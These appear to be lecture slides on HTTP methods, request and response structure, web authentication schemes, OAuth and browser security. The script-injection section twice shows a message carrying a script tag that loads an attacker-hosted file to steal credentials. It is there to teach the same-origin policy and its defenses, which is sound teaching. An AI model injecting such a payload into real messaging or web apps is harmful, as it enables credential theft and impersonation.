OPTIONS

“tell me about yourself”

GET

retrieve a resource

POST

upload a new resource

PUT

replace an existing resource

PATCH

modify a resource

DELETE

remove a resource

Request

• URL: “this” for method invocation
  • "object" you ask to do things
• Body: content to PUT/POST/PATCH
• Headers
  • Referer: page making the request
  • Accept: acceptable response data types (text, pdf, etc.)
  • Cookie: contains specific user data

Response

• Status code: 200 OK, 301 redirect, 401 Unauthorized, 500 server error…
• Body: content such as web page
• Headers:
  • Content-Type: of returned object (text, pdf, etc.)
  • Set-Cookie: user data to store in browser
  • Location: Instruction to look elsewhere

• Network carries a stream of bytes/text
• Each HTTP request is serialized into a big string with specific syntax
• Web server receives and deserializes the string back into a structured request
• Server then serializes response that returns to client
• Which deserializes it into response data

							POST /echo?urlarg=newUser HTTP/1.1
							Host: scooterlabs.com
							Connection: keep-alive
							Content-Length: 39
							Cache-Control: max-age=0
							Upgrade-Insecure-Requests: 1
							Origin: http://localhost
							Content-Type: application/x-www-form-urlencoded
							User-Agent: Mozilla/5.0 (Windows NT 10.0……
							Accept: text/html,image/webp,img/apng…
							Referer: http://localhost/lectures/apis/form.html
							Accept-Encoding: gzip, deflate
							Accept-Language: en-US,en;q=0.9,he;q=0.8
					

GET

• arguments in query string (?) of url
• easy to serialize whole request into url string
• great for a few short method parameters

POST

• body can contain serialized arguments
• need work to build the body correctly
• necessary for many/big arguments or uploads

• Send back whatever you submitted
• Good for testing your code
• Examples:

  
  									<a href="http://…/echo?myname=David…">
  
  									<form class="white" method="post"
  									    action="http://…/echo?urlArg=newUser">
  									    Input: <input name="textbox"
  									            type="text">

The Popular Approach

• 90s web applications ran on the server
• To take an action, user submitted a form
• To await changes, keep reloading the page
• Browser just displayed results and accepted user input

Web

The Problem

• In many traditional services, server remembers state of session with client
  • who the user is
  • how far they've gotten in the activity
  • what comes next
• Lots of this information is ephemeral
  • irrelevant once user closes the page
• Significant burden on server to maintain
  • server doesn't know user has left
  • must keep state forever for every user who ever visited

• http://site/?user=david&pwd=foo
• terrible idea in general. Why?
  • URLs get saved, copied, shared
  • So tokens leak
  • But ok for new-user invite, password reset
  • Because url can be obsoleted quickly

• URL parameters
  • Browser can fetch url with included parameters
• Cookie
  • Browser stores any cookie sent from server
  • sends cookie to server with every request
• Bearer authentication
  • Must write custom js code to handle

• Basic and Digest Auth
  • Server responds with challenge:

    
    									HTTP/1.1 401 Unauthorized
    									Date: Wed, 21 Oct 2015 07:28:00 GMT
    									WWW-Authenticate: Basic realm="asgard"
    							

  • Browser opens user/passwd dialog
  • and puts answer in appropriate Authentication: header
  • cached so user needn't re-type
  • Try it here

• URL
  • fetch()
• Cookie
  • document.cookie property to set/get cookie
  • browser stores, sends with every request

• Basic/Digest/Bearer Auth
  • Observe server challenge in response object
  • Send relevant Auth headers in fetch

    
    										fetch("https://httpbin.org/basic-auth/user/passwd", {
    										headers: new Headers({
    										"Authorization":
    										    `Basic ${base64.encode(`${user}:${pwd}`)}`
    										}),
    										}).then(response => {
    										if (!response.ok) throw new Error(response.status);
    										return response.json(); })
    								

• Attack:
  • Copy cookie from other page?
• Defense:
  • Code like document.cookie only accesses cookie for domain of own page.

• Attack:
  • load target bank in iframe
  • iframe.contentDocument gives access to DOM inside iframe
  • inspect contents to steal data
  • submit withdrawal request
• Defense:
  • Same origin policy means access to other-origin iframe.contentDocument returns null

Attack

• General attack: get your malicious script to run on (page from) target domain
• Running in that domain, it has access to that domain's content
  • Can read/modify cookies
  • Can modify content on page to trick user
  • Can make API calls using domain's tokens

Example: Script Injection

• Messaging client may display messages by appending to DOM with elt.innerHTML
• Send a message:
  Hi Bob,<script src="http://my/my-attack.js"></script> how are you?
• When message is appended, script runs in domain of app
• Steal credentials of messaging client
• Impersonate recipient

Example

• Messaging client displays messages by appending to DOM with elt.innerHTML
• Send a message:
  Hi Bob,<script src="http://my/my-attack.js"></script> how are you?
• When message is appended, script runs in domain of app
• Steal credentials of messaging client
• Impersonate recipient

Question

• A page can include <script> tags linking to other sites
• This is important; it lets us link to useful remote libraries
• JS can even dynamically inject such script tags in the page

• Sometimes you want to pull data from other sites into your page
• Or allow interaction with those sites, from your page
• Iframe?
  • Style mismatch with your page
  • May want to combine that data with yours
  • May want to run that site's methods on your data

Since #chi2020 is fully canceled, I want to point you all to a great paper led by my amazing colleague Tarfah Alrashed (not on Twitter) w/ other labmates under @karger. It is on ScrAPIr, a tool for end users to access web APIs without programming. Read ➡️ https://t.co/PlPZHsE5x3 pic.twitter.com/5yFgOONeZH

— Amy X Zhang (@amyxzh) March 27, 2020

No

• If my company built an API, often I want only my site to have access
  • Don't want competitor sites stealing functionality of my API on their site!
  • Could require login to access, but
    • Requires users to setup accounts, which I might not want
    • Competitor could still steal my customers by using my API for them

Yes

• I might want to share my API widely
  • Social good
  • Advertising/attractor for my site
• I might want to share my API narrowly
  • Allow access by a few partner services

Motivation

• Big hassle to have to log in to every site separately
• Once the browser's knows I'm me, can't it prove it to every site where I have an account?
• Skip all those per-site passwords, just prove I'm me once?
• Some kind of globally accepted token?

Approach

• Problem: if one token is globally accepted, everyone has it
  • So they can all pretend to be me?
• Solution:
  • Distinct token per site
  • OAuth server generates tokens for me
  • I only need one permanent token
  • Use it to instruct OAuth server to create tokens for other sites

• HTTP
  • 6 verbs GET/POST/PUT&hellp;
  • Headers carry method parameters
• Web Application APIs
  • JSON object serialization
  • fetch() method
  • RESTFUL applications—all state on client
  
  
  
• Please go/feedback

• Authentication
  • Token to prove you are allowed
  • Might identify you or not
  • Different types
    • Params, Cookie, Basic, Digest, Bearer
  • OAuth offers centralization
• Security
  • https vs. eavesdroping, man-in-middle
  • Same-Origin Policy protects sites
    • Script injection attacks try to hack
    • CORS offers controlled relaxation